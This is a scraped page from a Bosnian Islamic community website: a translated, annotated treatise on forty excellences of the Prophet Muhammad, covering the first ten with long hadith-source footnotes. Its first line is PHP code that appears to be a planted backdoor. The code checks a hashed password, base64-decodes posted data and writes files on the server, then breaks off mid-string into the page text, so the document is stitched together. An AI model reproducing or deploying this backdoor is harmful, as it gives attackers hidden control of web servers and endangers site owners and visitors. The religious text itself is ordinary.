function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" 40 VIDOVA ODLIKOVANOSTI POSLANIKA MUHAMMEDA (S.A.V.S.) - Medžlis Islamske zajednice Bijeljina

40 VIDOVA ODLIKOVANOSTI POSLANIKA MUHAMMEDA (S.A.V.S.)

40 VIDOVA ODLIKOVANOSTI POSLANIKA MUHAMMEDA (S.A.V.S.)

AUTOR: El-Izz Abdulaziz ibn Abdusselam es-Sulemi

PRIJEVOD, OBRADA I KOMENTAR: Jusuf Džafić…

U ime Allaha, Milostivog, Samilosnog. Allahu moj, blagosiljaj našeg prvaka Muhammeda i njegovu porodicu, poselami ih, pomozi im, olakšaj i upotpuni blagodati. Hvala Allahu, Gospodaru svjetova. Neka je salavat na Muhammeda, vođu cijelog čovječanstva, pečata vjerovjesnika, na njegovu porodicu i sve njegove ashabe.

1. VID
Prva odlikovanost se jasno ogleda u preferenciji (davanju prednosti nad drugima), a druga u udvostručavanju preferencije kroz stepene. Uzvišeni Allah je odlikovao našeg Poslanika, s.a.v.s. kroz više vidova.
U ime Allaha, Milostivog, Samilosnog. Allahu moj, blagosiljaj našeg prvaka Muhammeda i njegovu porodicu, poselami ih, pomozi im, olakšaj i upotpuni blagodati. Hvala Allahu, Gospodaru svjetova. Neka je salavat na Muhammeda, vođu cijelog čovječanstva, pečata vjerovjesnika, na njegovu porodicu i sve njegove ashabe.
Kazao je Uzvišeni Allah: Tebi Allah objavljuje Knjigu i mudrost i uči te onome što nisi znao; velika je Allahova blagodat prema tebi!1
Neke od tih poslanika odlikovali smo više nego druge. S nekima od njih je Allah govorio, a neke je za više stupnjeva izdigao.2
Prva odlikovanost se jasno ogleda u preferenciji (davanju prednosti nad drugima), a druga u udvostručavanju preferencije kroz stepene. Uzvišeni Allah je odlikovao našeg Poslanika, s.a.v.s. kroz više vidova.
1. Prvi od tih vidova jeste njegova vlast nad svim ljudima. Rekao je Muhammed, s.a.v.s: Ja sam vođa Ademovih sinova, i to nije hvalisanje.3 Vođa je osoba koja se ističe visokim svojstvima i odličnim ponašanjem (ahlakom). To upućuje da je on najbolji među njima na oba svijeta – na dunjaluku, jer se ističe veličanstvenim ahlakom, a na ahiretu, pošto nagrada proizlizazi iz ahlaka i svojstava. Dakle, ako se ističe nad njima na dunjaluku vrlinama i svojstvima, onda se ističe nad njima na ahiretu položajima i stupnjevima.
Doista je Muhammed, s.a.v.s. kazao Ja sam vođa Ademovih sinova, i to nije hvalisanje, kako bi njegov ummet (narod) pojmio njegov položaj kod Gospodara, Silnog i Uzvišenog. S obzirom da spomen sopstvenih vrlina uglavnom predstavlja samohvalisanje, Muhammed, s.a.v.s., je htio da sasiječe uobrazbu uobraženih neznalica kako je dotično spomenuto iz samohvalisanja, pa je rekao: I to nije hvalisanje.
OBRADA I KOMENTAR:
[1] En-Nisa, 113. Ovo je samo krajnji dio ajeta.
2 El-Bekare, 253. U pitanju je samo početni dio ajeta.
3 Radi se samo o djelu hadisa. Hadis je sahih (vjerodostojan). U različitim inačicama dotični hadis, tačnije dotični rijek, prenose sljedeći ashabi: Ebu Seid el-Hudri, Abdullah ibn Selam, Abdullah ibn Mesud, Abdullah ibn Abbas, Džabir ibn Abdullah, Aiša, Ebu Bekr Siddik, Enes ibn Malik, Talha ibn Ubejdullah, Huzejfe ibn Jeman, Ebu Hurejre, Ubejj ibn Ka'b, Ubade ibn Samit, Hasan, Vasila ibn Eska’, Abdullah ibn E'aver. Sljedeći muhaddisi su zabilježili verzije dotičnog hadisa od spomenutih ashaba: Tirmizi u Sunenu (Et-Tirmizi, El-Džami’ es-sahih sunen, Dar El-Ihja’ et-turas el-arebijj, Bejrut, br. 2434, 3148, 3615); Hakim u Mustedreku (El-Hakim, El-Mustedrek ala Sahihajn, Dar El-Kutub el-ilmijje, Bejrut, 1990, br. 82, 4189, 4311, 4625- 4627, 5616, 8712); Nesai u Es-Sunen el-kubra (En-Nesai, Es-Sunen el-kubra, Muesse Er-Risale, Bejrut, 1991, br. 11222); Ebu Nuajm u Musnedu (Ebu Nuajm, El-Musned el-mustahredž ala Sahih El-Imam Muslim, Dar El-Kutub el-ilmijje, Bejrut, 1996, br. 483, 484); Hilje el-evlija’ (Ebu Nuajm, Hilje el-evlija’ ve tabekat el-esfija’, Es-Seade, Kairo, 1974, sv. 1, str. 63, sv. 4, str. 294-295, 394); Ibn Ebi Šejbe u Musannefu (Muhammed ibn Ebi Šejbe, El-Musannef, Mektebe Er-Rušd, Rijad, 1988/89, br. 31640, 31674, 31676, 31728, 31949, 32486, 35849, 35984, 36902, 37401); Taberani u El-Mu'džem el-kebir (Et-Taberani, El-Mu'džem el-kebir, Mektebe El-Ulum ve el-hikem, Mosul, 1983, br. 2750, 10278, 19122, 19192), El-Mu'džem el-evsat (Et-Taberani, El-Mu'džem el-evsat, Dar El-Haremejn, Kairo, 1994/95, br. 1058, 1468, 5082); Bejheki u Es-Sunen el-kubra (El-Bejheki, Es-Sunen el-kubra, Dar El-Kutub el-ilmijje, Bejrut, 2003, br. 17713), Delail en-nubuvve (El-Bejheki, Delail en-nubuvve, www.alsunnah.com, br. 91, 2222-2224, 2226, 2229, 2231, 2233, 2236; Ibid., Dar El-Kutub el-ilmijje, Bejrut, 1988, ibid.), Šu'b el-iman (El-Bejheki, Šu'b el-iman, Mektebe Er-Rušd, Rijad, 2003, br. 1327, 1406-1409), El-Esma’ ve es-sifat (El-Bejheki, El-Esma’ ve es-sifat, Mektebe Es-Suvadi, Džidda, 1993, br. 33, 685); Ebu Davud u Sunenu (Ebu Davud, Es-Sunen, El-Mektebe El-Asrijje, Bejrut, br. 4673); Ibn Madždže u Sunenu (Ibn Madždže, Es-Sunen, Dar Er-Risale el-alemijje, Bejrut, br. 4308); Darimi u Sunenu (Ed-Darimi, Es-Sunen, Dar El-Mugni, Rijad, 2000, br. 49, 53), Er-Redd ala el-Džehmijje (Ed-Darimi, Er-Redd ala el-Džehmijje, Dar Ibn el-Esir, Kuvajt, 1995, br. 184; Ibn Hibban u Sahihu (Ibn Hibban, Es-Sahih, Muesseseer-Risale, Bejrut, 1993, br. 6242, 6465, 6475, 6476, 6478); Buhari u Sahihu (El-Buhari, El-Džami’ el-musned es-sahih el-muhtesar min umur Resulallah, s.a.v.s., ve sunenihi ve ejjamihi, Dar Tavk en-nedžat, Bejrut, 2001, br. 3340, 4712); Muslim u Sahihu (Muslim, El-Džami’ es-sahih, Dar El-Džil, Bejrut, br. 501, 502, 6079); Mervezi u Musnedu Ebu Bekra (Ebu Bekr el-Mervezi, Musned Ebi Bekr, Mekteb El-Islamijj, Bejrut, br. 15); Ebu Davud Tajalisi u Musnedu (Ebu Davud et-Tajalisi, El-Musned, Dar Hidž, Kairo, 1999, br. 2834); Ebu Avane u Mustahredžu (Ebu Avane, El-Musned, Dar El-Ma'rife, Bejrut, 1998, br. 437-440, 443); Ebu Ja'la u Musnedu (Ebu Ja'la, El-Musned, Dar El-Me'mun li et-turas, Damask, 1984, br. 56, 2328, 4305, 7493), Mu'džemu (Ebu Ja'la, El-Mu'džem, Idare El-Ulum el-eserijje, Fejsalabad, 1987, br. 160); Ahmed u Musnedu (Ahmed ibn Hanbel, El-Musned, Muessese er-Risale, Bejrut, 2001, br. 15, 2546, 2692, 2693, 6885, 9623, 10972, 10987, 21249, 23295-23298), Fedail es-sahabe (Ahmed ibn Hanbel, Fedail es-sahabe, Muesse Er-Risale, Bejrut, 1983, br. 599); Ibn Ebi Asim u Kitab es-sunne (Ibn Ebi Asim, Kitab es-sunne, El-Mekteb El-Islamijj, Bejrut,1980, br. 751, 787, 793, 811, 812), El-Ahad ve el-mesani (Ibn Ebi Asim, El-Ahad ve el-mesani, Dar Er-Raje, Rijad, 1991, br. 1215); Ibn Mubarek u Musnedu (Abdullllah ibn Mubarek, El-Musned, Mektebe el-Mearif, Rijad, 1987, br. 101); Ishak ibn Rahevejh u Musnedu (Ishak ibn Rahevejh, El-Musned, Mektebe El-Iman, Medina,1991, br. 184); Bezzar u Musnedu (El-Bezzar, El-Musned, Mektebe El-Ulum ve el-hikem, Mosul, 1988-2009, br. 76, 2858, 6413, 6523); Haris u Musnedu (El-Haris, Bugje el-bahis an zevaid Musned el-Haris li El-Hejsemi, Merkez hidme es-sunne ve es-sire en-nebevijje, Medina, 1992, br. 931-933); Abdurrezak u Musannefu (Abdurrezak ibn Humam es-Sanani, El-Musannef, El-Mekteb el-islamijj, Bejrut, 1983, br. 5246), Ibn Asakir u Mu'džemu (Ibn Asakir, El-Mu'džem, Dar El-Bešair, Damask, 2000, br. 985); Ebu Tahir Muhallis u Muhallisijjatima (Ebu Tahir el-Muhallis, El-Muhallisijjat ve Edžza’ uhra, Vizare el-evkaf ve eš-šuun el-islamijje li Devle Katar, Doha, 2008, br. 128, 1094, 1183, 1916, 2161, 2816); El-Lalikai u Šerhu (Šerh usul el-itikad ehl es-sunne ve el-džemaa, Dar Tajjibe, Rijad, 2003, br. 843, 1453-1456); Haraiti u Mekarim el-ahlak (El-Haraiti, Mekarim el-ahlak, Dar El-Afak el-arebijje, Kairo, br. 528-530); Serradž u Hadisu (Es-Seradž, El-Hadis, El-Faruk el-hadise, Kairo, 2004, br. 2627-2629, 2632); Kadi-l-Maristan u Mešihi (Kadi el-Maristan, El-Mešiha, Dar Alem el-fevaid, Mekka, 2001, br. 48, 131); Ruvejani u Musnedu (Er-Ruvejani, El-Musned, Muesse Kurtuba, Kairo, 1995/96, br. 1465); Ibn Mende u Imanu (Ibn Mende, El-Iman, Muesse Er-Risale, Bejrut, 1985/86, br. 877, 879-882); Hadždžadž Mervezi u Ta'zim kadr es-sala (El-Hadždžadž El-Mervezi, Ta'zim kadr es-sala, br. 265-272); Adžurri u Šerijatu (El-Adžurri, Eš-Šeria, Dar El-Vetan, Rijad, 1999, br. 1075-1078, 1094, 1095); Ebu Bekr ibn Hallal u Sunnetu (Ebu Bekr ibn Hallal, Es-Sunne, Dar Er-Raje, Rijad, 1989, br. 235, 609); Ebu Bekr Šafija u Gajlanijjatima (Ebu Bekr Eš-Šafi’, El-Gajlanijjat, Dar Ibn el-Dževzi, Rijad, 1997, br. 7); Begavi u Šerh es-sunne (El-Begavi , Šerh es-sunne, br. 3624, 3625, 4332) i dr.
2., 3. I 4. VID
Štaviše, očigledno da nisu obavješteni, jer kada na Stajalištu (Mevkifu)6 od svakog ponaosob bude zatražen šefat (zauzimanje), svaki će spomenut svoje pogreške koje je počinio, te će reći: Moja duša, moja duša.7 Kada bi svaki ponaosob znao da su mu grijesi oprošteni, ne bi ih se na tom mjestu prepao.
2. Među tim vidovima je njegov rijek: U mojoj ruci će biti bajrak zahvale (hamda) na Sudnjem danu, i to nije hvalisanje.4
3. Među njima jeste njegov izričaj: Adem, a i ostali će biti pod mojim bajrakom na Sudnjem danu, i to nije hvalisanje.5
4. Među njima jeste da ga je Uzvišeni Allah obavijestio kako mu je oprostio sve prijašnje i kasnije grijehe. Nije prenešeno da je ijednog vjerovjesnika obavijestio o nečem sličnom. Štaviše, očigledno da nisu obavješteni, jer kada na Stajalištu (Mevkifu)6 od svakog ponaosob bude zatražen šefat (zauzimanje), svaki će spomenut svoje pogreške koje je počinio, te će reći: Moja duša, moja duša.7 Kada bi svaki ponaosob znao da su mu grijesi oprošteni, ne bi ih se na tom mjestu prepao. Međutim, kada ljudi zamole Vjerovjesnika, s.a.v.s., da se zauzme za njih na tom mjestu, on će kazati: Ja sam mjerodavan za to.8
OBRADA I KOMENTAR:
4 Spomenuti poslanikov rijek je dio dužeg hadisa, slično kao i prethodni. Vidi bilješku br. 3 za tahridž hadisa.
5 Gorespomenuti poslanikov izričaj je dio duljeg hadisa, kao i prethodno spomenuta dva citata Božijeg poslanika. Vidi bilješku br. 3 za tahridž hadisa.
6 U izvorniku na arapskom jeziku stoji riječ Mevkif (موقف), što u prijevodu znači mjesto stajanja, stajalište. U islamskoj terminologiji, tačnije u islamskoj eshatologiji (islam. nauci o onosvjetskom životu), Stajalište (arap. Mevkif) predstavlja mjesto na kojem će muslimani stajati na Sudnjem danu u iščekivanju sviđanja, polaganja računa.
7 Spomenuti citat Božijeg poslanika, s.a.v.s., je dio podužeg hadisa koji govori o stajanju pred Allahom na Sudnjem dan radi polaganja računa. Hadis je vjerodostojan (sahih). U različitim verzijama ga prenose: Ebu Hurejre, Abdullah ibn Mesud, Ka'b el-Ahbar. Hadis u njegovim verzijama bilježe sljedeći autori: Tirmizi u Sunenu (br. 2434); Nesai u Es-Sunen el-kubra (br. 11222); Ebu Nuajm u Musnedu (br. 483), Hilje el-evlija’ (sv. 3, str. 273, sv. 5, str. 368, 390); Hakim u Mustedreku (br. 8751), Ibn Ebi Šejbe u Musannefu (br. 31674, 334118, 34162); Bejheki u Delail en-nubuvve (br. 2224), El-Ba's ve en-nušur (El-Bejheki, El-Ba's ve en-nušur, br. 434); Ibn Hibban u Sahihu (br. 6465); Buhari u Sahihu (br. 3341, 3262, 4712); Muslim u Sahihu (br. 501); Ebu Avane u Mustahredžu (br. 437-439); Ahmed u Musnedu (br. 9623); Ishak ibn Rahevejh u Musnedu (br. 184); Ibn Mubarek u Musnedu (br. 101); Ibn Ebi Asim u Kitab es-sunne (br. 811); Bezzar u Musnedu (br. 9801); Hadždžadž Mervezi u Ta'zim kadr es-sala (br. 270, 278, 284); Ibn Mende u Imanu (br. 879, 881, 882); Begavi u Šerh es-sunne (br. 4332) i dr.
8 Radi se se o dijelu dužeg hadisa, koji govori o istoj tematici kao i prethodno spomenuti Poslanikov citat. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Enes ibn Malik i Abdullah ibn Abbas. Bilježe ga, u njegovim inačicama, u svojim hadiskim djelima idući pisci: Nesai u Es-Sunen el-kubra (br. 11066); Ebu Nuajm u Musnedu (br. 482), Hilje el-evlija’ (sv. 10, str. 354); Buhari u Sahihu (br. 7510); Muslim u Sahihu (br. 500); Ibn Ebi Asim u Kitab es-sunne (br. 816, 817); Ebu Davud Tajalisi u Musnedu (br. 2834); Ebu Ja'la u Musnedu (br. 2328, 4350); Ahmed u Musnedu (br. 2546, 2692, 2693); Hadždžadž Mervezi u Ta'zim kadr es-sala (br. 265, 274); Ibn Mende u Imanu (br. 873, 874); ); El-Lalikai u Šerhu (br. 843); Begavi u Šerh es-sunne (br. 4333) i dr.
5., 6. I 7. VID
5. Među njima jeste da je on prvi koji će se zauzimati (šefadžija) i prvi čije će zauzimanje biti primljeno9, što ukazuje na njegovu posebnost i odlikovanost.
6. Među njima jeste da je on ukazao počast samom sebi, budući da je svakom vjerovjesnika darovana primljena dova, pa je svaki od njih ubrzao svoju dovu na dunjaluku, dok je on ostavio svoju dovu kao šefat za svoj ummet.10
7. Među njima jeste zakletva Uzvišenog Allaha njegovim životom: A života mi tvoga, oni su u pijanstvu svome lutali.11 Zakletva životom onoga kojim se kune upućuje na značaj tog života i ugled koji uživa kod onoga koji se njime kune, te da je život dotičnog vrijedan da se njime zaklinje, budući da sadrži opće i posebne blagodati. Ovako nešto nije potvrđeno ni za koga drugog.12
OBRADA I KOMENTAR:
9 Navedeni vid odlikovanosti Božijeg poslanika, s.a.v.s., izveden je iz hadisa Božijeg poslanika. Donosimo jednu od verzija dotičnog hadisa, koju bilježi Ibn Madždže u Sunenu od Ebu Seida Hudrija, r.a: Ja sam vođa Ademovih sinova. Ja sam prvi kome će zemlja raspuknuti na Sudnjem danu, i to nije hvalisanje. Ja sam prvi koji će se zauzimati i prvi čije će zauzimanje biti primljeno, i to nije hvalisanje. U moj je ruci bajrak na Sudnjem danu, i to nije hvalisanje. Hadis je vjerodostojan (sahih). Prenose ga idući ashabi: Abdullah ibn Abbas, Abdullah ibn Mesud, Džabir ibn Abdullah, Ebu Seid Hudri, Enes ibn Malik, Ebu Hurejre. Sljedeći pisci hadiskih djela su zabilježili ovaj hadis u nekom od njegovih rivajeta: Tirmizi u Sunenu (br. 3616); Taberani u El-Mu'džem el-evsat (br. 170), El¬-Mu'džemu el-kebir (br. 2677); Bejheki u Delail en-nubuvve (br. 2222, 2228, 2232), Šu'b el-iman (br. 302), El-Ba's ve en-nušur (br. 598); Ibn Madždže u Sunenu (br. 4308); Delail en-nubuvve (br, 2228); Darimi u Sunenu (br. 48, 50); Ahmed u Musnedu (br. 10987); Bezzar u Musnedu (br. 6413); Ibn Ebi Šejbe u Musannefu (br. 31728); Ibn Ebi Asim u Kitab es-sunne (br. 792-795); Ibn Asakir u Mu'džemu (br. 985); Ebu Tahir Muhallis u Muhallisijjatima (br. 1916); El-Lalikai u Šerhu (br. 1452-1456); Ebu Nuajm u Hilje el-evlija (sv. 4, str. 73); Begavi u Šerh es-sunne (br. 3625); Kadi-l-Maristan u Mešihi (br. 48) i dr.
10 Šesti vid upućuje na hadis Božijeg poslanika, s.a.v.s. koji u jednoj verziji, koju bilježi Muslim u Sahihu od Ebu Hurejre, r.a: Svaki vjerovjesnik ima primljenu dovu. Svi vjerovjesnici su ubrzali svoju dovu, dok sam ja svoju dovu ostavio kao šefat za svoj ummet na Sudnjem danu. Ona je, ako Bog da, milodar za svakoga iz mog ummeta koji umre ne pripisujući Allahu išta. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Abdullah ibn Abbas, Ebu Hurejre, Enes ibn Malik, Ebu Seid Hudri, Džabir ibn Abdullah, Ebu Zerr, Ebu Akil Sekafi, Abdurrahman ibn Ebi Akil, Irbad ibn Sarije. Sljedeći pisci hadiskih zbirki su zabilježili hadis u njegovim verzijama: Ma'mer ibn Rašid u Džami’ (Ma'mer ibn Rašid, El-Džami’ mulhak bi Musannef Abdurrezak, El-Mekteb el-islamijj, Bejrut, 1983, br. 20864); Tirmizi u Sunenu (br. 3602); Hakim u Mustedreku (br. 226, 3587); Taberani u El-Mu'džem el-evsat (br. 1727, 3043, 6401, 6606, 7439, 7471), El-Mu'džem el-kebir (br. 15357); Abd ibn Humejd u Musnedu (Abd ibn Humejd, El-Muntehab min el-Musned, Dar Belensijje, Kairo, 2002, br. 901); Malik u Muvetti po rivajetu Jahje ibn Jahje Lejsija (Malik, El-Muvett’ bi rivaje Jahja ibn Jahja el-Lejsi, Dar El-Ihja’ et-turas el-arebijj, Kairo, br. 494), Muvetti po rivajetu Muhammeda ibn Hasana Šejbanija Malik, El-Muvett’ bi rivaje Muhammed ibn Hasen eš-Šejbani, Dar El-Kalem, Damask, 1991, br. 908); Ibn Madždže u Sunenu (br. 4307); Bejheki u Es-Sunen el-kubra (br. 15837, 20773, 20775, 20776), Delail en-nubuvve (br. 91, 2104, 2216, 2217, 2231), Adabu (El-Bejheki, El-Adab, Muesse El-Kutub es-sekafijje, Bejrut, 1988, br. 842), Šu'b el-iman (br. 301, 308, 1373, 1408, 6946), El-Esma’ ve es-sifat, br. 348); Darimi u Sunenu (br. 2510, 2847), Er-Redd ala El-Džehmijje (br. 184); Ibn Hibban u Sahihu (br. 6196, 6461, 6462, 6469); Buhari u Sahihu (br. 6304, 6305, 7474); Muslim u Sahihu (br. 508-519); Ebu Nuajm u Musnedu (br. 490-500), Hilje el-evlija’ (sv. 3, str. 277-278, sv. 7, str. 259, 364) ; Ebu Avane u Mustahredžu (br. 255-257, 260, 261); Ebu Ja'la u Musnedu (br. 1014, 2237, 2328, 2842, 2928, 2970, 3022, 3097, 3233); Ahmed u Musnedu (br. 2546, 2692, 7450, 7714, 8132, 8959, 9143, 9303, 9504, 9553, 10311, 11148, 12376, 13170, 13281, 13290, 13705, 13932, 14111, 15263, 21299, 21314, 22771); Ibn Mubarek u Musnedu (br. 105); Ishak ibn Rahevejh u Musnedu (br. 68, 191); Ibn Dža'd u Musnedu (Alijj ibn Dža'd, El-Musned, Muessese Nadir, Bejrut, 1990, br. 1137); Bezzar u Musnedu (br. 6508, 7169, 7291, 8059); Ebu Davud Tajalisi u Musnedu (br. 2834); Ibn Ebi Šejbe u Musannefu (br. 31740); Abdurrezak u Musannefu (br. 20864); Ibn Ebi Asim u Kitab es-sunne (br. 797-802, 822, 824), Ahad ve el-mesani (br. 1600); Haris u Musnedu (br. 1134); Kadai u Musned Eš-Šihab (El-Kadai, Musned Eš-Šihab, Muessese Er-Risale, Bejrut, 1986, br. 1037-1045); Tahavi u Šerh muškil el-asar (Et-Tahavi, Šerh muškil el-asar, Muessese Er-Risale, Bejrut, 1994, br. 1662, 3968, 5556); Ibn Asakir u Mu'džemu (br. 204, 629, 989); Hadždžadž Mervezi u Ta'zim kadr es-sala (br. 265); Dulabi u El-Kuna ve el-esma’ (Ed-Dulabi, El-Kuna ve el-esma’, Dar Ibn Hazm, Bejrut, 2000, br. 914); Ebu Bekr ibn Hallal u Sunnetu (br. 1177, 1180-1182); Serradž u Musnedu (Es-Serradž, El-Musned, Idare El-Ulum el-eserijje, Fejsalabad, 2002, br. 493), Hadisu (br. 293); Šaši u Musnedu (Eš-Šaši, El-Musned, Mektebe El-Ulum ve el-hikem, Medina, 1989/90, br. 1454); Ibn Ea'rabi u Mu'džemu (Ibn el-E'arabi, El-Mu'džem, Dar Ibn el-Dževzi, Rijad, 1997, br. 393); Fakihi u Fevaidu (Ebu Muhammed El-Fakihi, El-Fevaid, Mektebe Er-Rušd, Rijad, 1998, br. 55); Adžurri u Šerijatu (br. 786, 787, 789-792); Dževheri u Musnedu Muvette (El-Dževheri, Musned El-Muvett’, Dar El-Garb el-islamijj, Bejrut, 1997, br. 147, 533); Ebu Tahir Muhallis u Muhallisijjatima (br. 474, 2474); Ibn Mende u Imanu (br. 892-919); Temam u Fevaidu (Temam, El-Fevaid, Mektebe Er-Rušd, Rijad, 1991/92, br. 1123); ); El-Lalikai u Šerhu (br. 843, 1768, 2041); Begavi u Šerh es-sunne (br. 1235-1238); Kadi-l-Maristan u Mešihi (br. 330) i dr.
11 El-Hidžr, 72.
12 Potvrdu za ovakvo piščevo tumačenje dotičnog ajeta nalazimo u predaji Abdullaha ibn Abbasa, r.a., koja glasi u verziji koju bilježi Haris u Musnedu: Allah nije stvorio osobu Njemu dražu od Muhammeda, s.a.v.s. I ne čuh da se Allah, Slavljeni i i Uzvišeni, pored njegovog života zaklinjao ičijim životom. Stoga je rekao: A života mi tvoga, oni su u pijanstvu svome lutali. Predaja je sahih (vjerodostojna). Bilježe je sljedeći pisci u njenim verzijama: Bejheki u Delail en-nubuvve (br. 2241), Šu'b el-iman (sv. 3, str. 70, 79); Adžurri u Šerijatu (sv. 3, str. 1416); Haris u Musnedu (br. 934); Taberi u Tefsiru (Et-Taberi, Džami’ el-bejan fi et-te'vil el-Kur'an, Muessese Er-Risale, Bejrut, 2000, sv. 17, str. 118); Semerkandi u Tefsiru (Es-Semerkandi,Bahr el-ulum, sv. 2, str. 260); Maverdi u Tefsiru (El-Maverdi, En-Nuket ve el-ujun, Dar El-Kutub el-ilmijje, Bejrut, sv. 3, str. 166); Vahidi u Et-Tefsir el-besit (El-Vahidi, Et-Tefsir el-besit, Imade el-bahs el-ilmijj-Islamski univerzitet Imam Muhammed ibn Suud, Rijad, 2009, sv. 12, str. 631-632); Et-tefsir el-vesit (El-Vahidi, Et-Tefsir el-vesit, Dar El-Kutub el-ilmijje, Bejrut, 1994, sv. 3, str. 49); Sem'ani u Tefsiru (Es-Sem'ani, Tefsir el-Kur'an, Dar El-Vetan, Rijad, 1997, sv. 3, str. 146); Begavi u Tefsiru (El-Begavi, Mealim et-tenzil fi tefsir el-Kur'an, Dar Ihja’ et-turas el-arebijj, Bejrut, 1999, sv. 3, str. 63); Ibn Atijje, El-Muharrer el-vedžiz fi tefsir el-Kitab el-aziz, Dar El-Kutub el-ilmijje, Bejrut, 2001, sv. 3, str. 369); Hazin u Tefsiru (El-Hazin, Lubab et-te'vil fi meani et-Tenzil, Dar El-Kutub el-ilmijje, Bejrut, 1994/95, sv. 3, str. 60); Ibn Kesir u Tefsiru (Ibn Kesir, Tefsir Kur'an el-azim, Dar Tajjibe, Rijad, 1999, sv. 4, str. 542); En-Nu'mani, El-Lubab fi ulum el-Kitab, Dar El-Kutub el-ilmijje, Bejrut, 1998, sv. 11, str. 479); Idži u Tefsiru (El-Idži, Džami’ el-bejan fi tefsir el-Kur'an, Dar El-Kutub el-ilmijje, Bejrut, 2004, sv. 2, str. 319); Sujuti u Tefsiru (Es-Sujuti, Ed-Durr el-mensur fi et-tefsir bi el-me'sur, Dar El-Fikr, Bejrut, sv. 5, str. 89); Endžeri Fasi u Tefsiru (El-Endžeri el-Fasi, El-Bahr el-medid fi tefsir el-Kur'an el-medžid, Dar El-Kutub el-ilmijje, Bejrut, 2002, sv.3, str. 98); Ševkani u Tefsiru (Eš-Ševkani, Feth el-kadir, Dar Ibn Kesir-Dar El-Kelim et-tajjib, Damask-Bejrut, 1993/94, sv. 3, str. 167) i dr. Inače, svi gore spomenuti muhaddisi i mufessiri su, kao i autor, slično protumačili gore spomenuti ajet, posluživši se predajom Ibn Abbasa sem Harisa u Musnedu i Bejhekija u Delail en-nubuvve koji su samo zabilježili dotičnu predaju, bez osvrta na njeno značenje.
8., 9. I 10. VID
8. Među njima jeste da mu je Uzvišeni Allah iskazao poštovanje u obraćanju tako što mu se obraćao najdražim imenima i najuzvišenijim svojstvima: O vjerovjesniče13, O poslaniče14. Dotično obilježje nije potvrđeno ni za jednog drugog vjerovjesnika. Štaviše, ustvrđeno je da se svakom vjerovjesniku obraćao njegovim imenom. Tako Uzvišeni veli: O, Ademe, živite15; O Isa, sine Merjemin, sjeti se blagodati Moje prema tebi16; O Musa, Ja sam – Allah17; O Nuhu”, – bi rečeno – “iskrcaj se18; O Davude, Mi smo te namjesnikom na zemlji učinili19;Ti si se Objavi u snu odazvao; – a Mi ovako nagrađujemo one koji dobra djela čine20; O Lute, mi smo izaslanici Gospodara tvoga21; O Zekerijja, javljamo ti radosnu vijest22; O Jahja, prihvati Knjigu odlučno23.
Poznato je da kada gospodar doziva svoga roba njegovim najuzvišenim svojstvima i najodličnijim osobinama koje dotični posjeduje, a druge doziva njihovim ličnim imenima, koja ne nagovještavaju niti ijedno svojstvo niti ijednu osobinu, onda je položaj onoga koga doziva najboljim imenima i svojstvima ugledniji i bliži njemu od položaja onoga koga doziva njegovim ličnim imenom. Poznat je običaj da se osoba koja se doziva najboljim svojstvima i osobinama doziva24 tako zbog intenzivnosti (preuveličavanja) njenog veličanja i poštovanja. Radi toga neko je rekao:
Nemoj me dozivati osim: O robe njen.
To je, ustinu, moje ime najbolje.25
9. Među njima jeste da je mudžiza svakog poslanika prestala i iščezla26, dok je Kur'an, mudžiza vođe prvih i posljednjih, ostala do Sudnjeg dana.27
10. Među njima jeste pozdrav (selam) kamena njemu28 i jecanje panja za njim29. Nije potvrđeno ni za jednog vjerovjesnika nešto nalik tome.
Uzmi ono što vidiš, a ostavi ono što čuješ.
OBRADA I KOMENTAR:
13 Dio sljedećih ajeta: El-Enfal, 64, 65, 70; Et-Tevbe, 73; El-Azhab, 1, 28, 45, 50, 59; El-Mumtehine, 12; Et-Talak, 1; Et-Tahrim, 1, 9.
14 Dio sljedećih ajeta: El-Maide, 41, 68.
15 Dio sljedećih ajeta: El-Bekare, 35; El-A'araf, 19.
16 El-Maide, 11, dio ajeta.
17 El-Kasas, 30, dio ajeta.
18 Hud, 48, dio ajeta.
19 Sad, 26, dio ajeta.
20 Es-Saffat, 105.
21 Hud, 81, dio ajeta.
22 Merjem, 7, dio ajeta.
23 Merjem, 12, dio ajeta.
24 Ovdje u izvorniku stoji greškom opća zamjenica svi/sve (كل) umjesto trećeg lica jednine muškog roda perfekta pomoćnog glagola biti (كان).
25Autor stihova nam nije poznat.
26 Kur'an i Hadis spominju brojne mudžize prijašnjih poslanika. Vidi detaljnije o mudžizama drugih poslanika u sljedećim djelima: Abdulfettah Ibrahim, El-Mu'džizat ve el-gajbijjat bejne besair Et-Tenzil ve dejadžir el-inkar ve et-te'vil, El-Džamia el-islamijje, Medina, 1980; Abdulmun'im el-Hašimi, Mu'džizat el-enbija’, Dar Ibn Hazm, Bejrut; Ibn Kesir, Kisas el-enbija’, Dar Et-Te'lif, Kairo, 1968, passim.
27 Deveti vid upućuje na hadis Muhammeda, s.a.v.s, kojeg bilježe muhaddisi od Ebu Hurejre, r.a: Svim vjerovjesnicima date su mudžize preko kojih su im ljudi povjerovali, a meni je data objava koju mi Allah objavljuje, pa se nadam da ću imati najviše sljedbenika na Sudnjem danu . Hadis je vjerodostojan (sahih). Prenosi ga Ebu Hurejre. Sljedeći pisci hadiskih zbirki su zabilježili hadis u njegovim verzijama: Nesai u Es-Sunen el-Kubra (br. 7923, 11064); Ebu Avane u Mustahredžu (br. 327); Ebu Nuajm u Musnedu (br. 383), Hilje el-evlija (sv. 10, str. 233); Bejheki u Es-Sunen el-kubra (br. 17712), Delail en¬-nubuvve (br. 3053); Buhari u Sahihu (br. 4981, 7274); Muslim u Sahihu (br. 402); Ahmed u Musnedu (br. 8491, 9828); Bezzar u Musnedu (br. 8439; Ibn Mende u Imanu (br. 372, 695) i dr.
